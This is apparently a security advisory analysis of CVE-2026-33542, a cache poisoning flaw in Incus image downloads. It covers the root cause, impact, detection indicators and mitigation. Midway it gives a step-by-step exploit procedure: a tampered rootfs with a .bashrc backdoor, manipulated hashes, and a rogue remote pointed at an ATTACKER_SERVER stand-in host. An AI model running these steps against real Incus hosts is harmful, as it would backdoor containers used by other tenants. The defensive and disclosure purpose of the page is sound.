CVE-2026-33542: 
NixOS vulnerability analysis and mitigation

CVE-2026-33542 is an image cache poisoning vulnerability in Incus, a system container and virtual machine manager developed by Linux Containers. Prior to version 6.23.0, Incus fails to validate the combined SHA256 fingerprint of concatenated image files when downloading from simplestreams image servers, allowing an attacker to substitute legitimate container or VM images with attacker-controlled ones. The vulnerability affects all Incus versions before 6.23.0 and was disclosed on March 26, 2026. It carries a CVSS v3.1 base score of 4.8 (Medium) and a CVSS v4.0 base score of 5.7 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is classified under CWE-295 (Improper Certificate Validation) and CWE-354 (Improper Validation of Integrity Check Value). Incus computes image fingerprints as the SHA256 hash of concatenated image files (e.g., incus.tar.xz and rootfs.squashfs); while it validates the SHA256 of individual files over HTTPS, it does not verify that the concatenated hash of those files matches the fingerprint listed in the simplestreams index. An attacker can host a malicious simplestreams server that serves tampered image files (e.g., a modified rootfs.squashfs) with individually valid SHA256 hashes but a different combined fingerprint, causing Incus to cache and serve the compromised image under a legitimate fingerprint. Exploitation requires the target Incus environment to lack restricted.image.servers configuration or equivalent firewall/proxy restrictions, and the attacker must be able to register their server as a remote source (GitHub Advisory).

Successful exploitation allows an attacker to poison the global image cache on a vulnerable Incus server, causing other tenants or users who subsequently request the same image fingerprint to receive and run attacker-controlled container or VM images instead of the legitimate ones. This primarily affects integrity (high sub-system impact) and has limited confidentiality implications, with no direct availability impact. In multi-tenant environments such as CI/CD or build farms where ephemeral instances are frequently created from well-known images, the risk of other users unknowingly running compromised workloads is most significant (GitHub Advisory).

A detailed proof-of-concept (PoC) is publicly available in the GitHub Security Advisory, including step-by-step commands for setting up a malicious simplestreams server, manipulating image files, and poisoning the cache on a vulnerable Incus deployment (GitHub Advisory). The EPSS score is approximately 0.038%, indicating low current probability of widespread exploitation. There is no evidence of active in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires specific preconditions — access to the Incus environment, absence of image server restrictions, and timing — making opportunistic mass exploitation unlikely.

1. Set up a malicious simplestreams server: Download the legitimate simplestreams index and image files from https://images.linuxcontainers.org/streams/v1/{index,images}.json and the corresponding image files (e.g., incus.tar.xz, rootfs.squashfs) for a target distribution.
2. Tamper with the image: Use unsquashfs to extract rootfs.squashfs, modify its contents (e.g., add a backdoor command to /root/.bashrc), and repack with mksquashfs.
3. Update individual file hashes: Recalculate and update the sha256 and size fields for the modified rootfs.squashfs in images.json, while leaving the combined_xxx fingerprint field unchanged (matching the legitimate image's fingerprint).
4. Serve the malicious content: Host the modified files on an HTTPS server with a TLS certificate trusted by the target system.
5. Register the rogue remote on the target: On the target Incus environment (or by tricking a user), add the attacker's server as a simplestreams remote: incus remote add poc https://ATTACKER_SERVER:4443 --protocol simplestreams.
6. Trigger image download: Copy the image from the rogue remote using the legitimate fingerprint: incus image copy poc:debian/trixie local:. Incus validates individual file hashes (which pass) but does not verify the combined fingerprint, so the tampered image is accepted and cached.
7. Cache poisoning achieved: Any subsequent user on the same Incus server who launches an instance using the cached fingerprint (e.g., incus launch images:debian/trixie) will receive the attacker-controlled image, executing the backdoor payload upon container start (GitHub Advisory).

• Network: Outbound HTTPS connections from the Incus host to unexpected or unknown simplestreams servers; DNS queries for domains not matching known image registries (e.g., images.linuxcontainers.org).
• Logs: Incus daemon logs showing image downloads from newly registered or unfamiliar remote sources; incus remote add commands referencing unknown HTTPS endpoints in audit or shell history logs.
• File System: Presence of unexpected or newly added simplestreams remotes in Incus configuration (incus remote list); cached images whose combined SHA256 fingerprint does not match the fingerprint stored in the local image store (detectable via incus image export and manual hash comparison).
• Process/Runtime: Container instances exhibiting unexpected behavior at startup (e.g., unexpected output, new processes, or network connections) that may indicate a backdoored image; discrepancy between the fingerprint reported by incus image list and the actual hash of exported image files (GitHub Advisory).

Upgrade Incus to version 6.23.0 or later, which validates both individual file SHA256 hashes and the combined concatenated hash against the fingerprint listed in the simplestreams index (GitHub Advisory). As an interim workaround, configure restricted.image.servers in project settings to allowlist only trusted image sources, or enforce equivalent restrictions via firewall rules or an HTTP proxy that limits connections to approved simplestreams servers. Multi-tenant environments should treat this configuration as a security baseline regardless of patch status.

The vulnerability was reported by researcher wl2018 and remediated by Incus maintainer stgraber, who published the advisory on March 26, 2026 (GitHub Advisory). Downstream Linux distributions including Debian and openSUSE issued security advisories and updated packages for Incus and the related LXD package. Community coverage was noted on Linux security news aggregators and vulnerability tracking platforms, with general acknowledgment that the attack is difficult to execute in practice due to its preconditions.